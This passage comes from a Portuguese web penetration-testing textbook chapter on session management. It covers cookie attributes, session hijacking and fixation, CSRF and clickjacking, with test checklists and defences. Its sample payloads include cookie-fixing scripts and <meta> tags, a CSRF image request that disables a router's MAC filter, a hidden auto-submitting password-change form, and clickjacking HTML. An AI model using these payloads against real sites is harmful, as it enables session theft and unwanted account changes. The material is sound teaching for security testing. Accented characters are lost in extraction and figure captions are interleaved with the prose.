Isso define o cookie ESRSIDDO e orienta o navegador web a somente envi-lo, junto s requi-
sies para o domnio cookies.esr.rnp.br e respectivos subdomnios. Desse modo, o cookie
despachado para www.cookies.esr.rnp.br, mas no para www.esr.rnp.br e nem www.evil.org.

Para evitar que domain seja utilizado com fins maliciosos, ele somente pode especificar o q
prprio domnio do servidor que define o cookie ou um domnio pai. Por motivos bvios,
domnios de alto nvel, como com e com.br, no so permitidos, seno seria possvel
especificar cookies para qualquer site da web (Stuttard e Pinto, 2007).

Finalmente, quando esse atributo no utilizado, o cookie enviado exclusivamente


para o domnio que o definiu, desconsiderando quaisquer subdomnios que existam. Por
essa razo, considerada como a alternativa mais segura por Palmer (2008).

Path
q
Teste de Invaso de Aplicaes Web

Considere que uma aplicao localizada em um diretrio /caminho/para/app defina um


cookie qualquer. O comportamento padro do navegador consiste em envi-lo, em
requisies subsequentes, somente para recursos sob /caminho/para/app. Para alterar
esse modo de operao, possvel empregar o atributo path e especificar um caminho
diferente, conforme ilustrado pelo seguinte cabealho:

Set-Cookie: ESRSIDPA=abdefg12345; path=/path

Ele determina que o cookie ESRSIDPA seja enviado, somente quando recursos sob o diretrio
/path forem solicitados. Agora, se no exemplo acima, em vez de /path fosse especificado /, o

144
cookie seria submetido em quaisquer requisies para o domnio de definio. De um ponto de
vista de segurana, isto no bom, sendo melhor, portanto, ser o mais restritivo possvel. Assim,
cabe aqui o princpio de conhecimento por necessidade, segundo o qual, quaisquer informa-
es, inclusive cookies, devem ser acessveis, apenas pelas entidades que precisam delas.

Secure
O atributo secure informa ao navegador web que o cookie contm informaes sensveis q
e, por isso, no deve ser enviado, por meio de conexes desprotegidas.

Se secure no for empregado, caso alguma pgina privilegiada seja requisitada, por
defeito na construo, via protocolo HTTP simples, o cookie trafegar em claro pela rede.
Embora, de modo geral, os navegadores web avisem quando uma pgina carregada
por HTTPS contm itens inseguros, depender disso no ideal, pois usurios tendem a
ignorar tais tipos de mensagem.

Um exemplo simples de uso de secure dado a seguir:

Set-Cookie: ESRSID=abdefg12345; secure; path=/

HttpOnly
O atributo HttpOnly, introduzido pela Microsoft, tem por objetivo impedir que cookies q
sejam manipulados por scripts no lado cliente da aplicao.

Dessa maneira, quando a opo utilizada, document.cookie no capaz de ler o valor do


elemento, dificultando que seja capturado por um usurio malicioso. Dada essa vantagem e
considerando que atualmente suportado pela maioria dos navegadores, o uso de HttpOnly
recomendado, para proteo de identificadores de sesso transportados por cookies. Isso
pode ser realizado por meio de um cabealho como o ilustrado a seguir:

Set-Cookie: ESRSIDHO=abdefg12345; httponly; path=/httponly

Um ponto importante que deve ser observado, contudo, que esse atributo no impede q
que scripts no lado cliente criem outro cookie de mesmo nome, mas com valor e atri-
butos diferentes. Quando isso ocorre, ambos os cookies so enviados nas requisies
pertinentes, podendo causar diversos problemas para a aplicao.

O cdigo Javascript apresentado na Figura 4.7 exemplifica como essa tarefa pode ser executada.

<script language=javascript>
Captulo 4 - Teste do gerenciamento de sesses
function createCookie() {

document.cookie = ESRSIDHO=NovoValorDoCookie;
Figura 4.7
Cdigo Javascript }
que define novo
cookie. </script>

Roteiro de teste
Em um teste de invaso, o roteiro apresentado abaixo pode ser empregado para q
detectar fraquezas no uso de atributos de cookies:

1. Durante a fase de mapeamento, identifique todos os cookies definidos pela aplicao.

145
2. Para cada um dos cookies contendo valores sensveis, verifique se: q
2.1.O atributo Domain no est definido ou se contm um valor restritivo.

2.2.O atributo Path no est definido ou se contm um valor restritivo.

2.3.O atributo Secure est definido.

2.4.O atributo HttpOnly est definido.

Exerccio de fixao 2 e
Atributos para proteo
Caso identificadores de sesso sejam transportados por meio de cookies, que atributos
podem ser utilizados para proteg-los?

Sequestro de sesso
O propsito final de se obter um identificador de sesso de outro usurio resume em q
ser capaz de injetar requisies na conversao da vtima, o que denominado de
sequestro de sesso.

Apesar da ampla adoo desse termo, considerando que, normalmente, o usurio no


impedido de interagir com a aplicao, enquanto o ataque acontece, um nome mais
apropriado seria invaso de sesso. Qualquer que seja o nome utilizado, porm, impor-
tante ter em mente que a combinao das requisies legtimas e forjadas pode conduzir
a sesso a um estado inconsistente, o qual pode ser detectado por mecanismos de defesa
do ambiente. Assim, cuidado especial deve ser tomado na escolha das solicitaes a serem
encaminhadas aplicao.

Uma das maneiras possveis de executar a explorao consiste em interceptar as requisi- q


es maliciosas e alterar o identificador de sesso, para o valor atribudo vtima, antes
de envi-las ao servidor.
Figura 4.8
Se o proxy de interceptao utilizado no puder realizar essa troca, de maneira automtica, Substituio de
o processo deve ser repetido manualmente a cada solicitao, o que no nada prtico. cookie em ataque
A Figura 4.8 ilustra a substituio manual, por meio do WebScarab, do identificador de de sequestro
de sesso, via
sesso PHPSESSID=kis5geve87fqfloqelg53igac1 para o de uma sesso j autenticada. WebScarab.
Teste de Invaso de Aplicaes Web

146
O complemento Add N Edit Cookies do Firefox apresenta uma alternativa muito mais q
fcil de executar o mesmo ataque.

A ideia consiste em alterar permanentemente o valor do cookie, para que a requisio j


seja efetuada com o identificador de sesso da vtima. Tal processo de troca se encontra
ilustrado na Figura 4.9.

Figura 4.9 Ataque de fixao de sesso


q
Substituio de
cookie em ataque O ataque de fixao de sesso foi introduzido, em 2001, por Jeff Jancula, e popularizado
de sequestro de por Kolek (2002), no ano seguinte. Diferentemente do sequestro de sesso, no qual
sesso, via Add N
Edit Cookies. necessrio descobrir o identificador de uma sesso em andamento, essa tcnica de
explorao faz com que o navegador do usurio utilize um valor fixo, j conhecido ou
escolhido pelo atacante.

Mesmo aps tanto tempo do primeiro registro pblico, diversas aplicaes mostram-se
vulnerveis ao ataque, como evidenciado pelos trabalhos recentes de Siles (2011) e
Schrank et al. (2010).

q
Captulo 4 - Teste do gerenciamento de sesses
Segundo Kolek (2007), possvel dividir o ataque de fixao de sesso em trs grandes
etapas:

1 Preparao nessa fase inicial, o usurio malicioso define o identificador de sesso


que ser utilizado no restante do ataque.

1 Fixao esse o passo principal e consiste em induzir a vtima a se autenticar na


aplicao web, a partir da sesso definida na primeira etapa pelo atacante.

1 Entrada procede-se como no sequestro de sesso, mas utilizando o identificador


de sesso selecionado, em vez de um que tenha sido descoberto, por meio de
outros ataques.

147
Preparao
Nesta fase inicial, o usurio malicioso define o identificador de sesso que ser utilizado no
restante do ataque. Se o mecanismo de gerenciamento de sesses do tipo estrito ou se
o identificador fornecido, somente aps uma autenticao bem sucedida, deve-se obter
um valor, autenticando-se no sistema com uma conta vlida; se no, possvel escolher
um valor arbitrrio. Observe que, no primeiro cenrio, caso a aplicao possua controle de
encerramento de sesses ociosas, algumas requisies devem ser realizadas, de tempos em
tempos, para manuteno da sesso, at que a vtima se autentique.

Fixao
Esse o passo principal e consiste em induzir a vtima a se autenticar na aplicao web,
a partir da sesso definida na primeira etapa pelo atacante. Para isso, necessrio fixar
o identificador de sesso do usurio alvo, por meio de tcnicas como cross-site scripting,
manipulao de trfego de rede e cross-site cooking.

Entrada
Procede-se como no sequestro de sesso, mas utilizando o identificador de sesso sele-
cionado, em vez de um que tenha sido descoberto, por meio de outros ataques. De modo
a facilitar a compreenso desses conceitos e da vulnerabilidade que causa o problema,
a Figura 4.10 apresenta um exemplo desse tipo de ataque, contra uma aplicao cujo
esquema de gerenciamento de sesses permissivo. Os passos que compem a explorao
esto explicados a seguir:

1. O usurio malicioso escolhe o valor 12345, como identificador de sesso a ser utilizado
no ataque. Em seguida, envia uma mensagem de correio eletrnico vtima, contendo
um link para a aplicao vulnervel, o qual carrega o identificador selecionado, como
parmetro da URL.

2. A vtima, entusiasmada com a possibilidade de ganhar diversos prmios, clica no link forne-
cido e acessa o script login.php, presente no servidor www.app.com. Sem que ela saiba, o
identificador de sesso 12345, fixado pelo atacante, enviado, junto requisio.

3. A aplicao web que executada em www.app.com verifica que o identificador de sesso


no existe e o adota como vlido, em decorrncia da caracterstica permissiva do sistema.

4. Logo depois, devolve a tela de autenticao de usurios vtima, como resposta requi-
sio realizada.

5. A vtima fornece o nome da conta que utiliza e a senha de acesso correspondente, autenti-
cando-se com sucesso no sistema. Apesar da mudana do nvel de acesso do usurio,
a aplicao no altera o identificador de sesso, que continua com o valor 12345. Essa
Teste de Invaso de Aplicaes Web

prtica a grande vulnerabilidade responsvel por permitir ataques de fixao de sesso.

Uma vez que o atacante conhece o identificador de sesso utilizado pela vtima, ele capaz
de entrar na sesso dela e executar quaisquer operaes desejadas, que no requeiram nova
autenticao. No exemplo dado, uma requisio para consulta de saldo bancrio realizada.

148
(1) <a href=http://www.app.com/login.php?sid=12345> (5) GET /saldo.php?sid=12345

Vtima
www.app.com
(2) GET /login.php?sid=12345

(3) Tela de autenticao

(4) Identicador de usurio + senha

Figura 4.10 Observe que a tcnica de fixao empregada, nesse cenrio, baseia-se no transporte do
Ataque de fixao identificador de sesso, por meio de um parmetro da URL que especifica o destino do link
de sesso.
enviado vtima.

As principais maneiras de realizar a etapa de fixao incluem: q


1 Parmetro de URL.
1 Execuo de scripts no lado cliente.
1 Injeo de <meta> tags HTML.
1 Ambiente compartilhado.
1 Adulterao de pacotes de rede.
1 Injeo de SQL.
1 Cookies de domnios.
1 Cross-site cooking.

Segundo Kolek (2007) e Siles (2011), tal mtodo apenas uma das diversas maneiras,
abaixo sumarizadas, de realizar a tarefa:

1 Execuo de scripts no lado cliente: isso pode acontecer quando a aplicao vulne-
rvel a ataques de cross-site scripting, por exemplo, que exploram a confiana deposi-
Captulo 4 - Teste do gerenciamento de sesses

tada pelo navegador web no servidor, para carregar cdigo malicioso no primeiro, sem
violar a poltica de mesma origem. O vetor abaixo ilustra um cdigo Javascript desse tipo,
utilizado para fixar o identificador de sesso PHPSESSID para o valor 12345:

<script>document.cookie=PHPSESSID=12345; path=/;</script>
1 Injeo de <meta> tags HTML: o marcador <meta> empregado em HTML para prover
metadados sobre o documento, como autor e descrio, por exemplo. Ele tambm pode ser
utilizado para simular um cabealho do protocolo HTTP, por meio do atributo http-equiv, e,
assim, definir cookies para a aplicao web. De modo geral, a injeo de marcadores <meta>
pode ser realizada, valendo-se de um ataque de cross-site scripting, mas com a vantagem
de, muitas vezes, no ser filtrada, como no caso de marcadores <script>.

149
O seguinte vetor exemplifica o uso do marcador <meta>, para simular um cabealho
HTTP Set-Cookie, que fixa o valor de PHPSESSID para 98765:

<meta http-equiv=Set-Cookie content=PHPSESSID=98765; path=/ />


1 Ambiente compartilhado: computadores que so utilizados por mais de uma pessoa,
em ambientes como bibliotecas e lan houses, podem servir de vetor para o ataque de
fixao de sesso. Um usurio malicioso que tenha acesso administrativo pode, por
exemplo, pr-definir um cookie, com o valor desejado, e deixar o navegador web aberto,
na pgina de autenticao da aplicao vulnervel. Com isso, a sesso web da prxima
pessoa a usar o sistema, a partir da mquina preparada, pode facilmente ser comprome-
tida, da maneira como se vem discutindo.

A Figura 4.11 ilustra o uso do complemento Add N Edit Cookie do Firefox, visando a adio
de um cookie PHPSESSID, com o valor 12345, para o site dvwa.esr.rnp.br. Alm disso, a
data de expirao definida para o dia 7 de agosto de 2013, criando, desse modo, um
cookie persistente, o qual estende a janela de explorao at a data especificada.

1 Adulterao de pacotes de rede: em um primeiro instante, pode parecer que um Figura 4.11
usurio malicioso, capaz de adulterar pacotes de rede em tempo real, pode, diretamente, Fixao de identi-
ficador de sesso
injetar requisies com o identificador de sesso interceptado, sem a necessidade de um definido em cookie,
ataque de fixao de sesso. Embora isso seja verdade, em muitos casos, o mtodo no por meio do com-
funciona, se o protocolo HTTPS utilizado em todas as requisies aplicao. plemento Add N Edit
Cookie do Firefox.
Nessa situao, um ataque possvel consiste em injetar, em uma resposta de outra
aplicao, um elemento <img> que carregue uma imagem da aplicao vulnervel, via
protocolo HTTP. Ao receber a pgina contendo o item forjado, o navegador requisita o
recurso ao servidor, cuja resposta interceptada pelo atacante. Nesse momento, ele
Teste de Invaso de Aplicaes Web

inclui um cabealho HTTP Set-Cookie, fixando o identificador de sesso. Caso a vtima,


em seguida, acesse o sistema, o cookie definido pelo usurio malicioso utilizado.
Assim, mesmo que as requisies sejam todas efetuadas por meio do protocolo HTTPS,
o atacante consegue entrar na sesso da vtima, por outro canal HTTPS (Kolek, 2007).

1 Injeo de SQL: algumas vezes, o mecanismo de gerenciamento de sesses armazena os


objetos de sesso em um banco de dados relacional (Siles, 2011). Nesses casos, se a apli-
cao vulnervel injeo de SQL, tema do Captulo 6, e os registros de sesso so aces-
sveis, por meio do ataque, um usurio malicioso capaz de obter e fixar identificadores de
sesso. De modo geral, entretanto, quando isso possvel, outros tipos de ataques mais
interessantes, que afetam diretamente as informaes, podem ser executados.
150
1 Cookies de domnios: conforme visto anteriormente, uma aplicao pode definir um
cookie, contendo o atributo domain, que enviado automaticamente, para qualquer
subdomnio acessado pelo mesmo navegador. Isso pode ser empregado, maliciosamente,
para fixar o identificador de sesso, a partir de uma vulnerabilidade em um subdomnio,
cujos controles de segurana sejam menos eficazes. Por exemplo, o portal institucional
de uma entidade, acessvel pelo endereo www.dominio.com, pode ser vulnervel a
cross-site scripting, permitindo executar o seguinte Javascript, quando carregado:

<script>document.cookie=PHPSESSID=12345; domain=dominio.com;
path=/;</script>

Depois disso, se a vtima acessa a loja virtual da mesma entidade, cujo nome de domnio
loja.dominio.com, o cookie PHPSESSID com o valor fixado enviado na requisio. Note que
esse ataque pode ser executado, tambm, quando os subdomnios so administrados por
pessoas ou entidades diferentes.

1 Cross-site cooking: esse mtodo depende, para ser executado, de uma vulnerabilidade
no navegador web a qual no tem ocorrido faz um bom tempo. O princpio consiste em
definir um cookie para a aplicao alvo, a partir de um domnio totalmente diferente. Por
exemplo, considere que a resposta a uma requisio ao domnio www.evil.org inclua o
seguinte cabealho:

Set-Cookie: PHPSESSID=12345; domain=esr.rnp.br

O comportamento esperado que o cookie no seja aceito, pois o domnio especificado por
domain diferente do acessado. Contudo, se o navegador vulnervel, o cookie malicioso
no rejeitado, e todo acesso subsequente a pginas do domnio esr.rnp.br faz com que ele
seja enviado junto requisio.

Verificao de vulnerabilidade
Recapitulando, o ataque de fixao de sesso ocorre porque a aplicao no gera um novo
identificador de sesso, aps uma mudana no nvel de acesso do usurio. Com base nisso,
para verificar se uma aplicao web vulnervel ao ataque, o seguinte roteiro de teste pode
ser adotado:

1. Acesse a aplicao web sendo testada. q


2. Verifique se um identificador de sesso foi definido e, em caso positivo:

2.1.Anote o valor fornecido.

2.2.Acesse uma pgina que requeira a autenticao do usurio e fornea credenciais vlidas.
Captulo 4 - Teste do gerenciamento de sesses

2.3.Compare os identificadores obtidos antes e aps a autenticao, tendo em mente


que valores iguais implicam sistema vulnervel fixao de sesso.

3. Se no:

3.1.Acesse uma pgina que requeira a autenticao do usurio e fornea credenciais


vlidas.

3.2.Observe o formato do identificador de sesso definido, aps a autenticao.

3.3.Encerre a sesso.

3.4.Defina manualmente no navegador web um identificador de sesso, de acordo


com o formato observado no passo 3.2.

3.5.Repita o passo 3.1.

151
3.6.Compare os identificadores obtidos antes e aps a autenticao, tendo em mente q
que valores iguais implicam sistema vulnervel fixao de sesso.

Encerramento vulnervel de sesso


Uma aplicao segura deve possuir um mecanismo explcito, em todas as pginas aces- q
sveis somente a usurios autenticados, que permita o encerramento deliberado de uma
sesso em andamento. Alm disso, o sistema deve finalizar automaticamente sesses
ociosas e aps um tempo mximo, contado a partir do momento em que foram estabele-
cidas. Essas duas medidas visam diminuir a janela disponvel a um atacante, para explorar
usurios autenticados que se ausentam do posto de trabalho, sem travar a estao.

Para que a usabilidade da aplicao no seja comprometida, porm, os tempos devem


ser ajustados, conforme as necessidades especficas de cada ambiente. Como regra geral,
quanto mais crtico for o tipo de informao manipulada, menores devem ser os tempos
adotados, para forar uma nova autenticao.

Apesar da importncia, muitas vezes, o processo de encerramento de sesso imple- q


mentado de modo vulnervel. O erro mais comum consiste em, simplesmente, redire-
cionar o usurio para a tela de autenticao, sem invalidar o identificador de sesso,
nem no cliente e nem no servidor.

Nesse caso, basta pressionar o boto de retorno pgina anterior no navegador para
continuar utilizando o sistema normalmente. Se a aplicao utiliza diretivas contra o arma-
zenamento de pginas no cache do navegador, o recurso deve ser carregado novamente, a
partir do servidor.

Uma vulnerabilidade igualmente crtica ocorre quando o identificador de sesso q


redefinido no cliente para um valor invlido, mas o respectivo objeto de estado no
destrudo no servidor.

Em um cenrio assim, se a aplicao recebe uma requisio com o identificador em questo,


ela gera uma resposta vlida, pois no tem como saber que se trata de uma sesso j encer-
rada. Para verificar se um sistema apresenta esse defeito, deve-se anotar o identificador de
sesso atribudo, desconectar-se da aplicao e, logo em seguida, realizar uma requisio,
com o valor antigo de identificador. Se a operao no resultar em erro, conclui-se que a
vulnerabilidade est presente e deve ser corrigida.

Sesses simultneas de um mesmo usurio


A grande maioria das aplicaes, inclusive as web, permite que um usurio estabelea q
mltiplas sesses simultneas. Embora seja comum, isso no representa uma boa
prtica de segurana, pois favorece que as credenciais sejam compartilhadas, dificul-
Teste de Invaso de Aplicaes Web

tando imputar responsabilidades, e que um atacante utilize a aplicao, sem ser notado.

Percebe-se, portanto, que tal prtica , de fato, vulnervel e deve ser reportada, sempre que
identificada em um ambiente. O teste que pode ser realizado, para verificar esse problema,
bastante simples e consiste em se autenticar na aplicao, com a mesma conta, a partir de
dois navegadores web diferentes. Se o sistema permitir que isso seja realizado, ele vulne-
rvel e deve ser corrigido. Uma observao importante que deve ser feita que no basta
realizar o teste, acessando a aplicao a partir de duas abas ou duas janelas do mesmo
navegador, pois, normalmente, o identificador de sesso compartilhado entre elas.

152
Cross site request forgery
Cross Site Request Forgery (CSRF) um ataque que se aproveita de uma sesso de q
usurio j estabelecida com a aplicao vulnervel, para realizar operaes de maneira
automtica, sem o conhecimento e consentimento da vtima.

Exemplos de aes que podem ser executadas variam de um simples encerramento de


sesso at a transferncia de fundos em um sistema bancrio. Na literatura, tambm
conhecido por diversos outros nomes e acrnimos, como Session Riding (Schreiber,
2004), XSRF (Stuttard e Pinto, 2007), ataque One-Click (Esposito, 2005) e Cross Site Refe-
rence Forgery (Burns, 2005).

O ataque possvel devido a diversos aspectos dos mecanismos de gerenciamento de sesses


implementados em aplicaes web (Meucci et al., 2008; Schreiber, 2004; Burns, 2007):

1 Cookies so enviados automaticamente pelos navegadores web, em todas as requi-


sies subsequentes realizadas, ao servidor que os definiu. O mesmo acontece com
cabealhos de autorizao, depois de realizada uma autenticao HTTP.

1 Uso de estrutura de URL invarivel, isso , cada recurso da aplicao sempre aces-
sado pela mesma URL, independentemente do usurio e da sesso estabelecida.

1 Impossibilidade de se determinar nativamente que uma dada requisio originou-se


na interface da aplicao. Por exemplo, requisies idnticas podem ser realizadas
digitando a URL diretamente no navegador web, clicando em um link existente em uma
pgina de terceiros ou lendo uma mensagem de correio eletrnico, em HTML, que con-
tenha uma imagem, cujo atributo src seja a URL para executar a ao no sistema.

1 O mecanismo de autorizao decide se uma ao pode ou no ser realizada, somente


com base em informaes enviadas automaticamente pelo navegador web, como
cookies e cabealhos de autorizao.
Figura 4.12
Exemplo de um Todos esses pontos podem ser explorados em um ataque cross-site request forgery,
ataque CSRF. conforme o cenrio ilustrado na Figura 4.12 e explicado em seguida.

www.app.com
Vtima

Usurio + senha
(1) Captulo 4 - Teste do gerenciamento de sesses

Identicador de sesso (SID)


(2)
<a href=http://www.app.com/proc.jsp?acao=10>
Clique aqui<a/>
(3)

SID + http://www.app.com/proc.jsp?acao=10
(4)

Ao 10 realizada com sucesso!


(5)

1. Usurio acessa a aplicao web e informa o identificador e senha para autenticar-se e


poder utilizar opes protegidas do sistema.

153
2. A aplicao verifica as credenciais e, caso estejam corretas, atribui um identificador nico
sesso do usurio, na forma de um cookie, que enviado pelo navegador, em todas as
requisies seguintes realizadas ao sistema.

3. Um usurio malicioso, que conhece a estrutura das URLs da aplicao, envia uma men-
sagem vtima, contendo um link para executar uma ao no sistema. fcil perceber
que, adotando essa abordagem, o usurio deve ser induzido a clicar no link, por meio de
engenharia social, para que o ataque funcione. Dependendo de quo consciente ele ,
em termos de segurana da informao, isso pode ou no ocorrer. Assim, mais eficaz
utilizar elementos HTML que realizam as requisies, automaticamente, como o caso de
imagens, por exemplo.

4. A vtima abre uma nova janela do mesmo navegador que est usando no acesso apli-
cao para ler a caixa de correio eletrnico. Nisso, acessa a mensagem maliciosa e clica
no link fornecido pelo atacante. O navegador, ento, efetua a requisio aplicao e
envia, tambm, o identificador de sesso atribudo ao usurio.

5. A aplicao atende a requisio, pois no tem como discerni-la de uma solicitao legtima,
feita pela prpria interface do sistema, uma vez que o identificador de sesso est correto.

Como exemplo, considere o cenrio abaixo baseado em um ponto de acesso sem fio real,
que utiliza uma interface web para gerenciamento, como a grande maioria desses dis-
positivos. A aplicao emprega o mtodo de autenticao bsica do protocolo HTTP e as
requisies so feitas todas por meio do mtodo POST. Uma das diversas funcionalidades
apresentadas pelo equipamento o controle de acesso por meio do endereo MAC do
cliente, que precisa estar pr-cadastrado para conseguir conectar-se. A Figura 4.13 ilustra a
interface para desativao desse servio e o formato da requisio gerada, quando o admi-
nistrador clica em Apply.

Com um teste simples, fcil constatar que a requisio pode ser feita tambm por meio do Figura 4.13
Teste de Invaso de Aplicaes Web

mtodo GET. Embora isso no seja um pr-requisito para que um ataque de cross-site Estrutura da requi-
sio para desativar
request forgery acontea, facilita muito a vida do atacante. Observe, tambm, que, aparen- o filtro de MAC.
temente, no h parmetros que sejam funo da sesso estabelecida, o que implica que a
URL para realizar a operao segue uma estrutura fixa. Com base nessas informaes todas,
um ataque pode proceder da seguinte maneira:

1. O administrador do ponto de acesso sem fio se autentica na aplicao de gerenciamento,


utilizando um navegador X.

2. O atacante envia um e-mail em HTML ao administrador contendo o seguinte elemento:

154
<img src=http://192.168.0.1:80/adv_filters_mac.cgi?

editRow=-1&delrow=-1&filters=1&macFilter=0&name=&

mac1=&mac2=&mac3=&mac4=&mac5=&mac6= />

3. Com a aplicao de gerenciamento ainda aberta, o administrador acessa a conta de


e-mail, usando o mesmo navegador X, e l a mensagem maliciosa. Quando esta exibida,
a imagem carregada, automaticamente, e, com isso, a requisio para desativao do
filtro de MAC enviada ao ponto de acesso, juntamente, com as credenciais do usurio.
Como estas esto corretas, a aplicao atende a solicitao, como se fosse legtima.

4. O usurio malicioso se conecta ao ponto de acesso rede sem fio.

No cenrio acima, optou-se por utilizar uma requisio GET, no lugar do mtodo POST, usado
originalmente pela aplicao. Observe que essa traduo nem sempre possvel e, em tais
situaes, outra tcnica deve ser empregada para executar o ataque CSRF. Considere, por
exemplo, um sistema que permite a troca de senhas, por meio do seguinte formulrio:

<form action=# method=POST>

New password:<br>

<input type=password AUTOCOMPLETE=off name=password_new><br>

Confirm new password:<br>

<input type=password AUTOCOMPLETE=off name=password_


conf><br>

<input type=submit value=Change name=Change>

</form>

Uma maneira de envi-lo, automaticamente, consiste na utilizao de cdigo Javascript. Note, q


entretanto, que a poltica de mesma origem probe que o cdigo carregado a partir de um
domnio interaja com objetos originrios de outro. Embora isso seja uma realidade, a mesma
poltica no impede que submisses de formulrios sejam realizadas por origens diferentes.

Isso permite criar, em um domnio controlado pelo atacante, um formulrio contendo os


mesmos elementos que o original e com o atributo action definido para o sistema vulnervel
a CSRF. A submisso pode ser realizada, por meio de Javascript, to logo a pgina seja car-
regada, bastando, ento, induzir a vtima a acess-la ( Jovanovic et al., 2006). Tudo isso est
Captulo 4 - Teste do gerenciamento de sesses

ilustrado no cdigo HTML abaixo:

<body onload=document.forms[fcsrf].Change.click();>

<form name=fcsrf action=http://dvwa.esr.rnp.br/vulnerabilities/


csrf/

method=post>

<input type=hidden name=password_new value=pwd/>

<input type=hidden name=password_conf value=pwd/>

<input type=Submit name=Change value=Change/>

</form>

155
</body>

Um problema da abordagem acima que, uma vez enviado o formulrio, a pgina de res-
posta carregada na janela do navegador, alertando o usurio sobre o ataque realizado.
Para evitar que isso acontea, um pequeno ajuste pode ser realizado, o qual consiste em
abrir o formulrio em um iframe invisvel, contido em outra pgina do domnio do atacante.
Desse modo, o documento de resposta, fornecido pela aplicao alvo, no fica visvel
vtima. A pgina HTML abaixo ilustra essa tcnica, empregando o atributo opacity para con-
seguir a transparncia necessria.

<html>

<head><title>Evil.org</title></head>

<body>

<iframe id=ifcsrf src=csrf.html style=opacity:0.00>

</iframe>

</body>

</html>

Todos os exemplos abordados at aqui so viveis apenas porque a aplicao no capaz,


como vimos, de validar se a origem da requisio o prprio sistema. Atacando esse problema,
surge a soluo mais eficaz para evitar ataques CSRF, a qual consiste na incluso, em cada
pgina da aplicao, de um elemento com valor gerado em funo da URL, do identificador de
sesso, do nome da conta do usurio e de um segredo conhecido apenas pelo sistema.

Toda vez que uma requisio recebida pela aplicao, esse valor, chamado de token q
anti-CSRF, deve ser validado e, caso no seja o esperado ou no esteja presente, uma
resposta de erro deve ser enviada ao solicitante.

Note que, para no ser vulnervel a ataques, o token no pode ser previsvel e deve ter um
tamanho em bits suficiente para evitar busca exaustiva de valores.

Adotada essa contramedida, o usurio malicioso precisa, para efetuar o ataque, des- q
cobrir o valor do token anti-CSRF ou, ento, que a aplicao seja vulnervel, tambm,
a um ataque de cross-site scripting. Nesse ltimo caso, todo e qualquer controle, para
evitar ataques CSRF, inutilizado, e a explorao de requisies via mtodo POST deixa
de necessitar que a vtima visite uma pgina maliciosa, uma vez que a poltica de mesma
origem respeitada.

A interao entre esses defeitos tema do Captulo 5, que trata especificamente de cross-site
scripting. Caso esse ataque no seja possvel, a tcnica chamada clickjacking, refinada h pouco
Teste de Invaso de Aplicaes Web

tempo (Stone, 2010), apresenta-se como um mtodo alternativo para violar tokens anti-CSRF.

Para encerrar esta seo, observe o roteiro de teste que pode ser utilizado, com o obje- q
tivo de verificar se uma aplicao vulnervel a cross-site request forgery:

1 Habilite um proxy de interceptao para monitorar as requisies realizadas aplicao.


1 Autentique-se no sistema e percorra as diversas reas protegidas.
1 Para cada requisio, identifique os parmetros e construa uma pgina HTML que
efetue a mesma solicitao. A ausncia de elementos especficos de sesso, na pgina
original, um grande indicativo de que a aplicao vulnervel.

156
1 Abra a pgina criada em uma nova janela e verifique se a ao realizada, automati- q
camente, pela aplicao. Em caso de resposta positiva, o ataque possvel.

Exerccio de fixao 3 e
Cross site request forgery
Como funciona o ataque cross site request forgery?

Clickjacking
O ataque clickjacking, introduzido por Hansen e Grossman (2008), consiste em induzir q
a vtima a clicar em objetos de uma pgina que esto sobrepostos, invisivelmente, por
elementos de uma aplicao web alvo. Desse modo, quando o usurio tenta clicar no
objeto visvel, na realidade, ele interage com a pgina transparente que est carregada
por cima das demais. Isso pode ser feito por meio de um objeto iframe especificado
com opacidade zero e com profundidade, definida pelo atributo z-index, maior que
a da pgina visvel. Esta, por sua vez, caso no seja controlada pelo atacante, deve
ser carregada em outro iframe, com z-index menor. Sem isso, criar o frame superior
implica alterar o documento original, o que possvel somente com cdigo injetado,
devido poltica de mesma origem.

Nesse contexto, imagine que a pgina carregada no iframe superior pertena a uma
aplicao web, na qual a vtima se encontra autenticada, em outra janela do navegador.
Caso o clique, na camada invisvel, ocorra em um boto de submisso de formulrio,
por exemplo, uma requisio POST efetuada, contendo o identificador de sesso do
usurio. A aplicao web no capaz de diferenci-la de uma solicitao legtima e, assim,
a processa normalmente e retorna a resposta esperada. Note que esse ataque bastante
similar a um cross-site request forgery, diferindo apenas no fato de no poder ser auto-
matizado. Isso, porm, no deve ser visto como um fator limitante, pois diversos ataques
avanados so possveis, graas a resultados recentemente obtidos (Stone, 2010).

Um exemplo real e relativamente recente de clickjacking afetou o Twitter, fazendo com que
os usurios enviassem a mensagem Dont Click: http://tinyurl.com/amgzs6 (Mahemoff, 2009).
Quando um seguidor clicava no link, acessava uma pgina contendo um nico boto com
o ttulo Dont Click. Devido curiosidade, este tambm era clicado, mas o item que de fato Captulo 4 - Teste do gerenciamento de sesses
recebia o evento consistia no boto para envio de mensagem do Twitter, que era carre-
gado em um iframe invisvel e alinhado. Este definia como src o valor http://twitter.com/
home?status=Dont Click: http://tinyurl.com/amgzs6, o que abria o Twitter com a mensagem
misteriosa, pronta para ser enviada. O cdigo HTML da pgina maliciosa empregada no
ataque est ilustrado na Figura 4.14 (Balduzzi et al., 2010), e o processo de sobreposio e
alinhamento, na Figura 4.15.

157
<iframe style={

width:550px; height:228px; top:-170px; left:-400px;

position:absolute; z-index:2; opacity:0;

filter:alpha(opacity=0);

scrolling= no

src=http://twitter.com/home?status=Dont Click:

http://tinyurl.com/amgzs6>

</iframe>

<button style={

width:120px; top:10px; left:10px;

position:absolute; z-index:1;

}> Figura 4.14


Cdigo HTML da
Dont Click pgina utilizada
no ataque de
</button> clickjacking contra
o Twitter.

importante observar, no cdigo HTML da Figura 4.14, que Cascading Style Sheets (CSS) CSS
empregado, para posicionar o iframe e o boto, de maneira alinhada. Note que os atri- Mecanismo simples
utilizado para
butos top e left do primeiro contm valores negativos, em um esquema de posicionamento
configurar a aparncia
absoluto, o que faz com que a localizao do canto superior esquerdo do iframe seja acima de documentos web,
e esquerda do canto correspondente da janela do navegador. Alm disso, os ndices de que permite, dentre
outras coisas, escolher
profundidade so definidos de modo que o boto fique para trs da pgina do Twitter,
fontes, posicionar
enquanto que a opacidade igual a zero torna o frame totalmente transparente. Opacity e objetos e definir as
filter so utilizados concomitantemente por questes de compatibilidade com o Firefox e o cores dos diversos
elementos da pgina.
Internet Explorer, respectivamente.
Teste de Invaso de Aplicaes Web

Note que, nesse cenrio, a adio de um token anti-CSRF no resolveria o problema, pois ele Figura 4.15
seria carregado juntamente com a pgina e submetido com a requisio, que sempre Clickjacking
contra o Twitter.
efetuada manualmente pelo usurio, embora de maneira involuntria. Isso ilustra bem o
fato de que a proteo contra cross-site request forgery, baseada em token individual, pode
